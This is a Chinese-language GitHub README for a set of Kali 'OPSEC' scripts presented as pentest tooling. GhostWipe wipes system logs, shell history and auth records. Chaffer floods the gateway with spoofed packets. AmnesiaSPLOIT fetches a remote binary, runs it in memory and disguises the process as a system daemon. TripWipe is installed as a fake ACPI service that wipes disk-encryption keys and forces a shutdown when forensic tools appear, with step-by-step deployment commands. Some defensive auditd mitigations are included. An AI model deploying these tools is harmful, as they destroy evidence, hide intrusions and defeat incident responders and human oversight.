TheRealBastioul/OPSEC-Scripts
GitHub: TheRealBastioul/OPSEC-Scripts
面向授权渗透测试环境的操作安全脚本集合,提供痕迹清理、流量混淆、无文件执行研究和反取证防护等功能。
Stars: 0 | Forks: 0
# OPSEC 脚本
用于 Kali Linux 渗透测试环境的操作安全 (OPSEC) 脚本集合。
## 法律免责声明
## 脚本
| 脚本 | 描述 |
|--------|-------------|
| [GhostWipe](#ghostwipe) | 针对 Host > VM (Tor) 架构的 Kali 宿主机,提供全面的隐私清理和设备 ID 随机化 |
| [Chaffer](#chaffer) | 网络流量诱饵注入器 —— 以可配置的强度向网关泛洪随机伪造的数据包,以掩盖物理接口上的真实流量模式 |
| [AmnesiaSPLOIT](#amnesiasloit) | 用于演示无文件内存中二进制执行 (`memfd_create`)、进程名伪装 (`prctl`) 和 auditd 可见性审计的研究框架 —— 记录了攻击者用于规避端点检测的技术 |
| [TripWipe](#tripwipe) | 反取证亡灵 daemon —— 监控取证采集工具和异常的出站数据量;触发时从内核内存中擦除 dm-crypt/LUKS 密钥并强制立即硬件关机 |
## GhostWipe
**平台:** Kali Linux (XFCE)
**架构:** Host > VM (Tor)
**运行方式:** `sudo ghost`
用于持久化 Kali 安装的会话后清理。对于大多数操作,从 Tails 或 Kali Live USB 启动是更强的 OPSEC 选择 —— 默认具备无痕迹特性,无需清理纪律。GhostWipe 适用于无法使用 Live OS 的特定情况。
### 功能说明
| 步骤 | 清除内容 |
|------|-------------------|
| 1. 关闭窗口 | 关闭所有打开的 GUI 应用程序(文件管理器、编辑器、图像查看器),但您当前的终端除外 |
| 2. 终止进程 | 强制终止浏览器和渗透测试工具:Metasploit、Burp、Wireshark、sqlmap、Nmap、Hashcat、Hydra、BloodHound、Responder 等 |
| 3. 浏览器数据 | 擦除所有 Firefox 和 Chromium 配置文件的历史记录、cookie、缓存、会话、IndexedDB 和本地存储 |
| 4. 渗透测试工具日志 | 清除 Nmap、Metasploit、Burp、sqlmap、Wireshark、Aircrack、John、Hashcat、Hydra、Nikto、Gobuster、Responder、CME、BloodHound 的日志 |
| 5. Shell 历史记录 | 截断 bash、zsh、sh 和 fish 的历史记录;移除 Python、Node、MySQL、psql、SQLite、wget 和 curl 的历史记录 |
| 6. 系统日志 | 清理 journald,清除 syslog、auth.log、kern.log、apt 日志、wtmp、btmp、faillog、Xorg 日志;移除轮转归档 |
| 7. apt 缓存 | 运行 `apt-get clean` 和 `autoclean` |
| 8. 应用程序痕迹 | 清除最近文件列表、GTK 书签、缩略图缓存、XFCE 缓存、回收站和 SSH known_hosts |
| 9. 网络历史记录 | 将 NetworkManager 的连接时间戳清零,使配置文件不暴露上次连接时间 |
| 10. 临时文件和 swap | 擦除 `/tmp` 和 `/var/tmp`;关闭并重新开启 swap 以刷新敏感数据 |
| 11. OPSEC 检查 | 报告外部 IP、主机名、MAC、DNS 解析器、VPN 接口、hypervisor 状态、浏览器/历史记录残留以及 swap 状态 |
| 12. 随机化标识符 | 随机化主机名、每个物理接口的 MAC,并重新生成 `/etc/machine-id` 和 dbus machine-id |
### GhostWipe 与 Live OS —— OPSEC 对比
#### 为什么 Live OS 通常是正确的选择
对于大多数操作,Tails 或 Kali Live USB 是更强的 OPSEC 默认选项。它在设计上是无痕迹的 —— 只需重启,一切都会消失,无需任何操作。您不会忘记清理,也不需要信任任何脚本。
- **默认仅在 RAM 中运行。** 会话期间不会向内部驱动器写入任何内容;关机时会自动进行清理。
- **内核级隔离。** Live OS 对宿主机的持久化存储完全只读 —— 不会有任何痕迹在重启后意外留存。
- **Tails** 在 OS 层面通过 Tor 路由所有流量,并在设计上针对遗忘失效进行了强化。
- **不存在纪律缺口。** 最大的操作故障模式 —— 即忘记运行清理 —— 被完全消除。
GhostWipe 需要您记得运行它、正确运行它,并相信它能清理掉所有内容。而 Live OS 消除了所有这三个要求。如果您能使用 Live OS,您就应该使用它。
#### GhostWipe 何时真正适用
GhostWipe 不是 Live OS 的替代品。它填补了一个特定的空白:在无法使用 Live OS 的持久化安装上进行长期持续的渗透测试任务。
**1. 您拥有不可替代的持久化状态。**
自定义字典、VPN 配置文件、工具配置或进行中的任务数据,无法在每个会话中重建。Live USB 每次启动都会重置为出厂状态 —— 只有在您没有值得保留的内容时,这种权衡才有意义。
**2. 您在 Host > VM (Tor) 设置中操作。**
VM 层已经提供了网络隔离 —— 宿主机永远不会接触目标系统。GhostWipe 解决的威胁不同:由管理和启动 VM 留下的宿主机侧取证痕迹。Live USB 在这里无济于事。
**3. Live USB 启动比风险窗口慢。**
`sudo ghost` 只需几秒钟。启动 Live OS 需要几分钟 —— 在时间压力下,“停止工作”到“机器关闭”之间的间隔是一个真实的取证采集窗口。
**4. 您需要在多日的任务中保持连续性。**
Live OS 会强制每个会话进行完全重新配置。如果您正在进行一项长期任务,并积累了笔记、配置和会话状态,GhostWipe 可以清除痕迹而不破坏环境。
#### 总结
| 关注点 | Tails / Kali Live USB | GhostWipe (持久化) |
|---------|----------|------------------------|
| 默认无痕迹 —— 无需任何操作 | 是 | 否 —— 必须手动运行 |
| 防止忘记清理 | 是 | 否 —— 需要清理纪律 |
| 会话间保留工具集和状态 | 否 | 是 |
| 清除 swap | 仅在手动禁用时 | 是 —— 每次运行都会显式循环 |
| 每个会话随机化 MAC | 否 | 是 |
| 每个会话更改 Machine-ID | 否 | 是 |
| 适用于 Host > VM (Tor) 架构 | 别扭 | 原生支持 |
| 硬件日志 (NIC 固件、SMART、BIOS) | 未清除 | 未清除 |
## Chaffer
**平台:** Linux (任意)
**运行方式:** `sudo ./Chaffer --on [low|medium|high]`
使用 hping3 向您的网关注入随机伪造的 UDP/TCP 数据包。伪装 MAC 地址和 OS 指纹 (TTL=128,TCP 栈参数),以混入 Windows 客户端流量中。添加 tc/netem 抖动。具有三种强度级别。自动适应接口变化。
### 强度级别
| 级别 | 间隔 | 抖动 | 最大数据包大小 |
|-------|----------|--------|-----------------|
| low | 100ms | 最高 150ms | 400 字节 |
| medium *(默认)* | 40ms | 最高 80ms | 900 字节 |
| high | 10ms | 最高 30ms | 1400 字节 |
### 功能说明
| 特性 | 详情 |
|---------|--------|
| 诱饵注入 | 40% UDP / 40% TCP ACK / 20% TCP SYN 混合 —— 避免触发 IDS 的纯 SYN 泛洪;所有数据包使用随机端口和大小 |
| TTL 匹配数据包 | hping3 使用 `--ttl 128` 发送,以匹配伪装的内核 TTL;数据包在线缆层面与 Windows 宿主机流量无法区分 |
| OS 指纹伪装 | 设置 `ip_default_ttl=128` 和标准 TCP 选项 (窗口缩放、时间戳、SACK),以在 IP 栈层面模拟 Windows 消费级 OS |
| MAC 地址伪装 | 在 `--on` 时将 NIC MAC 随机化为 Intel OUI 前缀 (`00:11:22`);保存原始 MAC 并在 `--off` 时完全恢复 |
| tc/netem 抖动 | 在物理接口上应用 8ms ± 15ms 的延迟分布,将真实流量混入噪声中 |
| 感知 VPN | 自动检测任何 tun/tap/wg/ppp 隧道下方的物理接口并将其作为目标 |
| 接口监控 | 后台 watchdog 检测接口变化(如 WiFi 漫游),在新接口上交换 MAC,并自动重新启动诱饵注入 |
| 干净拆除 | `--off` 终止所有 hping3 进程,移除 tc qdisc 规则,恢复 RPF 过滤,恢复 MAC,并将 TCP/IP 栈重置为 Linux 默认值 |
### 使用方法
```
sudo ./Chaffer --on # start at medium intensity
sudo ./Chaffer --on high # start at high intensity
sudo ./Chaffer --off # stop and clean up
sudo ./Chaffer --status # show state + last 5 log lines
```
### 依赖项
```
sudo apt install hping3 iproute2
```
日志写入 `/var/log/chaff.log`。
## AmnesiaSPLOIT
**平台:** Linux (Python 3.8+)
**运行方式:** `sudo python3 main.py --url --name `
**目的:** 安全研究 —— 记录攻击者使用的无文件执行和检测规避技术
演示了攻击者在不触碰磁盘的情况下运行二进制文件的完整链路:通过 HTTPS 获取、在内存中解密、通过 `memfd_create` 执行、伪装成系统 daemon,并审查 `auditd` 是否捕获了这些操作。
### 演示的技术
| 技术 | 机制 | 防御者应关注的内容 |
|-----------|-----------|-------------------------------|
| 无文件执行 | `memfd_create` 分配匿名 RAM;将二进制文件写入其中并通过 `/proc/self/fd/` 执行 | 针对 `memfd_create` syscall 和带有 `/proc/self/fd/` 路径的 `execve` 设置 `auditd` 规则 |
| 进程伪装 | `prctl(PR_SET_NAME)` 将进程重命名为任意名称(例如 `udevd`、`systemd-service`) | 监控 exec 之后的 `prctl` 调用;将进程名与已知的二进制路径进行交叉比对 |
| 二次 fork 守护进程化 | 两次 `fork()` 调用将孙进程孤立给 init,切断 TTY 和父进程的链接 | 追踪出现时没有对应会话领导者的孤立进程 |
| 加密 payload 传输 | AES-256-CBC 直接在内存中解密 —— 磁盘上不留任何内容 | 网络层检查;在代理层进行 TLS 解密 |
| auditd 可见性审计 | 扫描本地审计日志以查找上述操作的证据,并报告“可见性得分” | 保护审计日志的完整性;立即将日志发送到离开当前主机的位置 |
### 可见性审计输出
执行后,该框架会检查 `/var/log/audit/audit.log` 以寻找其自身操作的痕迹,并报告安全态势得分:
| 态势 | 含义 |
|---------|---------|
| `BLIND` | auditd 未发现 memfd\_create、proc/fd exec 或 prctl 重命名的痕迹 |
| `DEGRADED` | auditd 捕获了部分但并非全部指标 |
| `EXCELLENT` | 完全可见 —— 所有三项指标均被记录 |
结果为 `BLIND` 意味着目标系统的日志记录不足以检测此类攻击。
### 使用方法
```
# 明文 payload,进程伪装为 udevd,markdown 报告
sudo python3 main.py --url "https://example.com/binary" --name "udevd" --format markdown
# 使用 AES-256-CBC key 和 IV 加密的 payload,JSON 报告
sudo python3 main.py \
--url "https://example.com/binary.enc" \
--name "systemd-service" \
--key "603deb10..." \
--iv "00010203..." \
--format json
```
### 依赖项
```
pip install cryptography # only required for encrypted payload support
```
### 防御缓解措施
- 启用 `auditd` 规则:`-a always,exit -F arch=b64 -S memfd_create` 和 `-a always,exit -F arch=b64 -S execve -F exe=/proc/self/fd`
- 将审计日志实时发送到场外 SIEM,这样拥有 root 权限的攻击者就无法篡改它们
- 使用直接挂钩内核的 EDR/eBPF 监控(如 Falco、Tetragon),而不是依赖 `auditd` 日志文件
- 将任何其 `/proc//exe` 解析为 `memfd:` 路径的进程视为立即出现的高严重性指标
## TripWipe
**平台:** Linux(任意,需要 LUKS 加密磁盘才能提供完整保护)
**部署为:** `acpid-ext` —— 伪装为 ACPI Power Management Extension Daemon
**目的:** 用于 LUKS 加密系统的反取证亡灵 daemon
轻量级的后台防护 daemon,旨在保护数据完整性,防范远程实时取证采集和内存转储工具。它伪装成标准的 ACPI 子进程 (`acpid-power-helper`),以混正常的硬件管理进程树中。
该 daemon 运行双重检测引擎:它在进程树中监控已知的取证工具特征,并评估原始出站吞吐量,寻找与远程分类画像匹配的异常。一旦检测到,它会从内核内存中卸载 LUKS 主密钥,并发出 SysRq 硬件关机指令。
### 检测引擎
该子系统采用两条独立的触发路径:
- **签名分析器** —— 轮询进程树,以查找企业取证、事件响应和实时收集工具的已知 runtime 特征
- **启发式网络监控器** —— 使用原生内核统计信息评估原始出站吞吐量;如果偏离基线的持续大容量外部数据传输,则会触发
### 触发条件
| 触发器 | 条件 |
|---------|-----------|
| 进程检测 | 运行进程列表中出现 `velociraptor`、`cylr`、`ftkimager`、`lime`、`dumpit` 或 `uac` 中的任何一个 |
| 网络启发式 | 默认接口在 5 秒窗口内传输 >150 MB,并且至少存在一个已建立的外部连接 |
### 触发后的操作
| 步骤 | 操作 |
|------|--------|
| 1. 同步 | 将脏数据块刷新到磁盘 (`sync`),以便后续的密钥擦除在稳定状态下运行 |
| 2. 擦除加密密钥 | 枚举所有 dm-crypt device-mapper 目标,挂起每一个目标,并通过 `dmsetup wipe_table` 擦除内核密钥表 —— 使得没有密码短语便无法读取 LUKS 卷 |
| 3. SysRq SIGTERM | `echo e > /proc/sysrq-trigger` —— 向所有进程发送终止信号 |
| 4. SysRq SIGKILL | `echo i > /proc/sysrq-trigger` —— 强制杀死所有剩余进程 |
| 5. 关机 | `echo o > /proc/sysrq-trigger` —— 立即硬件关机;`echo b` 作为紧急重置备选方案 |
### 配置
| 变量 | 默认值 | 用途 |
|----------|---------|---------|
| `DATA_THRESHOLD_MB` | `150` | 在网络启发式触发之前,在一个轮询窗口内在默认接口上传输的 MB 数 |
| `MONITOR_INTERVAL` | `5` | 轮询间隔(以秒为单位) |
### 部署
**步骤 1 —— 暂存并保护核心二进制文件**
将脚本移动到标准的系统二进制路径中,将其命名为与现有的 ACPI 基础设施融合的形式,并将其锁定为仅限 root 执行:
```
sudo cp TripWipe /usr/sbin/acpid-power-helper
sudo chmod 700 /usr/sbin/acpid-power-helper
sudo chown root:root /usr/sbin/acpid-power-helper
```
**步骤 2 —— 创建 systemd unit**
创建 `/etc/systemd/system/acpid-ext.service`,其命名旨在自然地与现有的硬件管理单元放在一起:
```
[Unit]
Description=ACPI Power Management Extension Daemon
After=network.target acpid.service
Documentation=man:acpid(8)
[Service]
Type=simple
ExecStart=/usr/sbin/acpid-power-helper
Restart=always
RestartSec=5
User=root
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
```
**步骤 3 —— 注册并启动**
```
sudo systemctl daemon-reload
sudo systemctl enable acpid-ext.service
sudo systemctl start acpid-ext.service
```
### 验证
确认服务处于活动状态并且循环正常,没有报错:
```
sudo systemctl status acpid-ext.service
```
验证进程树一致性 —— 在粗略检查时,该 daemon 应该出现在真实的 `acpid` 进程旁边:
```
ps aux | grep acpid
```
预期输出:
```
root 612 0.0 0.1 8432 4112 ? Ss 08:15 0:00 /usr/sbin/acpid
root 1420 0.0 0.2 11564 5240 ? S 08:21 0:00 /bin/bash /usr/sbin/acpid-power-helper
```
### 维护
在进行任何大文件传输、手动内存捕获或软件更新(可能超过网络阈值)之前,请先解除该 daemon 的武装,以防止意外关机:
```
sudo systemctl stop acpid-ext.service
```
操作完成后重新武装:
```
sudo systemctl start acpid-ext.service
```
### 依赖项
```
sudo apt install cryptsetup iproute2
```
SysRq 必须可用 (`/proc/sysrq-trigger`)。脚本会在触发时启用它。日志在设计上被丢弃到 `/dev/null` —— 在正常运行期间不会生成任何文件系统痕迹。
### 重要提示
只有在磁盘经过 LUKS 加密的情况下,加密密钥擦除才能保护数据。在未加密的系统上,仅仅关机并不能阻止对明文文件系统进行取证镜像。
请根据您的环境调整 `DATA_THRESHOLD_MB` 和 `MONITOR_INTERVAL` —— 如果设置得过于敏感,合法的大容量传输(备份、系统更新)将会触发误报关机。
标签:Cutter, DNS 反向解析, DNS 解析, 反取证, 子域名变形, 安全评估, 操作安全, 流量混淆, 逆向工具